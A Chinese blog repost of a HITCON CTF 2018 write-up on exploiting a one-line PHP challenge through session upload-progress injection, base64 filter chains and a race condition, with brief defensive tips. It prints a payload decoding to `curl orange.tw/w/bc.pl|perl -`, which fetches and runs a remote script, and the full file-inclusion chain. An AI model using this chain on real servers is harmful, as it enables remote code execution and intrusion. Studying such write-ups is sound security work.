写点什么

HITCON CTF 2018 - 单行 PHP 挑战:会话上传与流过滤器链的极致利用

作者:qife122
  • 2025-08-17
    福建
  • 本文字数:695 字

    阅读完需:约 2 分钟

HITCON CTF 2018 - 单行 PHP 挑战

这是 Orange 带来的技术分享 :)

挑战背景

在每年 HITCON CTF 中,我都会设计至少一个 PHP 漏洞利用挑战,其特点是源码极其简洁(通常只有几行),但利用难度极高。本次挑战是历年最短的一个——仅含单行 PHP 代码,运行在默认安装的 Ubuntu 18.04 + PHP7.2 + Apache 环境。

核心技术点

  1. 会话上传进度控制

  2. 利用session.upload_progress特性(默认启用)向 SESSION 文件注入可控内容:


   curl http://target/ -H 'Cookie: PHPSESSID=iamorange' \     -F 'PHP_SESSION_UPLOAD_PROGRESS=payload' -F 'file=@/etc/passwd'
复制代码


  1. 流过滤器链绕过

  2. 通过多级 base64 解码过滤器处理前缀污染:


   php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange
复制代码


  1. 竞态条件利用

  2. 对抗session.upload_progress.cleanup的自动清理机制(默认开启),通过快速竞争或大文件上传维持会话。

漏洞利用过程

  1. 构造特殊 base64 载荷,经过三级解码后生成有效 PHP 代码:


   原始:VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy   解码后:@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
复制代码


  1. 结合会话文件包含漏洞实现 RCE:


   include('php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange');
复制代码

防御建议

  • 禁用session.upload_progress功能

  • 设置open_basedir限制文件访问范围

  • 对会话文件路径进行随机化处理更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码

  • 办公AI智能小助手
用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
HITCON CTF 2018 - 单行PHP挑战:会话上传与流过滤器链的极致利用_CTF_qife122_InfoQ写作社区